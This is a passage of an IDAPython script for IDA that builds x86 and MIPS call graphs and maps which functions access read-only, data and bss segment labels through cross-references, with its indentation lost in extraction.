return idc.get_operand_value(eas[-1],0)
elif mnem == 'call':
for i in range(len(list(eas))-2,-1,-1):
mnem = idc.print_insn_mnem(eas[i])
if mnem == 'push':
return idc.get_operand_value(eas[i],0)
else:
print(idc.GetDisasm(eas[-1]))
return 0

def find_main_mips(self):
start = ida_ida.inf_get_start_ea()
fn = idaapi.get_func(start)
f_start, f_end = fn.start_ea, fn.end_ea
eas = list(idautils.Heads(f_start, f_end))
loads = {}
```

```
for ea in eas:
if idc.print_insn_mnem(ea) == 'la':
reg = idc.print_operand(ea,0)
opd = idc.get_operand_value(ea,1)
loads[reg] = opd
if '$a0' in loads:
return loads['$a0']
else:
return loads['$t9']

def isLibcFunc(self,func_addr):
if not(self.DOWN_BOUND): return 0 #TODO:Don't care them
return (func_addr > self.UP_BOUND) and (func_addr < self.DOWN_BOUND)

def get_up_bound(self):
self.UP_BOUND = ida_ida.inf_get_start_ea()

def get_down_bound(self):
func_addr = None
if self.pl == "ia32":
func_addr = idc.get_name_ea_simple("fcntl")
if func_addr == ida_idaapi.BADADDR:
return None
else:
for func_addr in idautils.Functions():
function = ida_funcs.get_func(func_addr)
start_ea, end_ea = function.start_ea, function.end_ea

for addr in idautils.Heads(start_ea, end_ea):
inst = idc.generate_disasm_line(addr, 0)
if MIPS_CHECK_INST[0] not in inst: continue

addrr = idc.next_head(addr)
instt = idc.generate_disasm_line(addrr, 1)
if MIPS_CHECK_INST[1] not in instt: continue

self.DOWN_BOUND = func_addr

@staticmethod
def get_func_start(f):
fn = idaapi.get_func(f)
if not(fn):
if not(ida_funcs.add_func(f)): return 0
fn = idaapi.get_func(f)
```

```
return fn.start_ea

def parse_one_func(self,f):
fn = idaapi.get_func(f)
if not(fn):
if not(ida_funcs.add_func(f)): return 0
fn = idaapi.get_func(f)
f_start, f_end = fn.start_ea, fn.end_ea
if self.isLibcFunc(f_start): return 0
if f_start in self.call_graph: return 1
else: self.call_graph[f_start] = []
eas = list(idautils.Heads(f_start, f_end))
if self.pl == 'ia32':
for ea in eas:
mnem = idc.print_insn_mnem(ea)
if mnem == 'call':
nextEA = self.get_func_start(idc.get_operand_value(ea,0))
if not(nextEA): continue
if self.parse_one_func(nextEA):
self.call_graph[f_start].append(nextEA)
elif self.pl == 'mips':
for ea in eas:
mnem = idc.print_insn_mnem(ea)
'''
Two cases:
1. jalr + $t9 <jalr always followed by t9>
2. jr + $t9 <only jrs followed by t9 are func call>
'''
if mnem in ['jalr','jr']:
reg = idc.print_operand(ea,1)
if not(reg == '$t9'): continue
line = idc.GetDisasm(ea)
parts = line.split(';')
if len(parts) == 2:
nextEA = self.get_func_start(int(parts[-1].split('_')[-1],16))
if not(nextEA): continue
if self.parse_one_func(nextEA):
self.call_graph[f_start].append(nextEA)

return 1

def gen_call_graph(self):
if self.pl == 'ia32':
self.main = self.find_main_x86()
```

```
elif self.pl == 'mips':
self.main = self.find_main_mips()
self.parse_one_func(self.main)

def traverse_all_data_with_label_in_seg(self, name, start, end):

lastlabel = ''
laststart = 0
size_of_all_const = {}
for ea in range(start, end):
if idc.get_name(ea):
label =    idc.get_name(ea)
if lastlabel:
size_of_all_const[lastlabel] = ea - laststart
laststart = ea
lastlabel = label
for func in fromDataToFunc(ea, 0):
if self.isLibcFunc(func):
continue
if func in self.all_func_access_rodata:
func_instance = self.all_func_access_rodata[func]
else:
func_instance = Func_Access_Data(func)
self.all_func_access_rodata[func] = func_instance

func_instance.add_global(name, label, ea)

if lastlabel:
size_of_all_const[lastlabel] = end - laststart
return size_of_all_const

def traverse_all_data_with_label(self):
label_with_size = {}
global_segs = self.global_seg_start
for seg_name, seg_start in global_segs.items():
seg_end =    idc.get_segm_end(seg_start)
size = self.traverse_all_data_with_label_in_seg(seg_name, seg_start, seg_end)
label_with_size[seg_name] = size
self.label_with_size = label_with_size
return label_with_size

def get_global_seg_start(self,segs_name):
global_seg_start = {}
for seg in idautils.Segments():
```

```
if idc.get_segm_name(seg) in segs_name:
global_seg_start[idc.get_segm_name(seg) ] = seg

if not '.roooodata' in global_seg_start:
start, _ = self.add_rodata_segment()
global_seg_start['.roooodata'] = start
self.global_seg_start = global_seg_start
return global_seg_start

def add_rodata_segment(self):
last_seg_end = idc.get_first_seg()
# print(hex(last_seg_end))
for s in idautils.Segments():
start = idc.get_segm_start(s)
end = idc.get_segm_end(s)
if int(start) != int(last_seg_end):
# found
idaapi.add_segm(0, last_seg_end, start, "roooodata", "CONST")
print("Adding segment from 0x%x to 0x%x" % (last_seg_end, start))
print("OK")
break
else:
last_seg_end = end
idc.plan_and_wait(ida_ida.inf_get_min_ea(), ida_ida.inf_get_max_ea())
# idc.plan_and_wait(idc.MinEA(), idc.MaxEA())
self.start = last_seg_end
self.end = start
return last_seg_end, start


class Func_Access_Data:
def __init__(self, func):
self.function = func
# self.global_vars = None
# self.index = []
self.rodata_access = []
self.data_access = []
self.bss_access = []

def add_global(self, seg, label, ea):
if seg == '':
self.addrodata(label, ea)
elif seg == '.data':
self.adddata(label, ea)
```

```
elif seg ==    'bss':
self.addbss(label,ea)

def addrodata(self, label, ea):
self.rodata_access.append(label)

def adddata(self, label, ea):
self.data_access.append(label)

def addbss(self, label, ea):
self.bss_access.append(label)

def get_all_global_access(self):
return self.rodata_access + self.data_access + self.bss_access



def fromDataToFunc(ea, deep):
if deep > 5:
print('No Xref function is found ' + hex(ea))
return []
funcs = []
refs = idautils.DataRefsTo(ea)
for r in refs:
if idc.get_segm_name(r) == '.text':
funcs.append(idc.get_func_attr(r, idc.FUNCATTR_START))
elif idc.get_segm_name(r) == '.data' or idc.get_segm_name(r) == '.bss':
# orign = r
# r = r-1
cnt = 1
while not idc.get_name(r):
r -= 1
cnt += 1
if cnt > 100:
print('cannot find a real label in .data'+ hex(ea))
break
if cnt < 100:
funcs = funcs + fromDataToFunc(r, deep+1)
else:
print("Ref in Seg {} at Addr {}".format( idc.get_segm_name(r), r))

if not funcs:
print('No Xref function is found ' + hex(ea))
return funcs
```

```
def collect_all_rodata(analyzer, addr, path):

if addr in path:
print('find big big loop')
return Counter()
else:
path.add(addr)

if addr in analyzer.all_func_access_rodata:
faccess = analyzer.all_func_access_rodata[addr]
all_access = Counter(faccess.get_all_global_access())
else:
all_access = Counter()

if addr in analyzer.call_graph:
for func in analyzer.call_graph[addr]:
if func == addr:
# print('find a loop')
continue
all_access = all_access + collect_all_rodata(analyzer, func, path)

else:
print('Function {} cannot be identified!'.format(hex(addr)))

path.discard(addr)

return all_access

# def get_global_seg_start(segs_name,analyzer):
#         global_seg_start = {}
#         for seg in idautils.Segments():
#                 if idc.get_segm_name(seg) in segs_name:
#                         global_seg_start[idc.get_segm_name(seg) ] = seg

#         if not '.roooodata' in global_seg_start:
#                 start, _ = analyzer.add_rodata_segment()
#                 global_seg_start['.roooodata'] = start

#         return global_seg_start

def main(arch):
analyzer = Analyzer()
segs_name = set(['.roooodata', '.data', '.bss'])
```

```
analyzer.get_global_seg_start(segs_name)
analyzer.set_platform(arch)
analyzer.gen_call_graph()
print(analyzer.start,analyzer.end)
size_of_all_rodata =    analyzer.traverse_all_data_with_label()
for func in analyzer.all_func_access_rodata.values():
print(hex(func.function))
print(func.rodata_access)
print(func.data_access)
print(func.bss_access)
all_access_rodata = collect_all_rodata(analyzer, analyzer.main,set())
print(all_access_rodata)
print(size_of_all_rodata)

if __name__ == "__main__":
ida_auto.auto_wait()
arch = idc.ARGV[1]
main(arch) # run ida input the arch of file
ida_pro.qexit(0)
```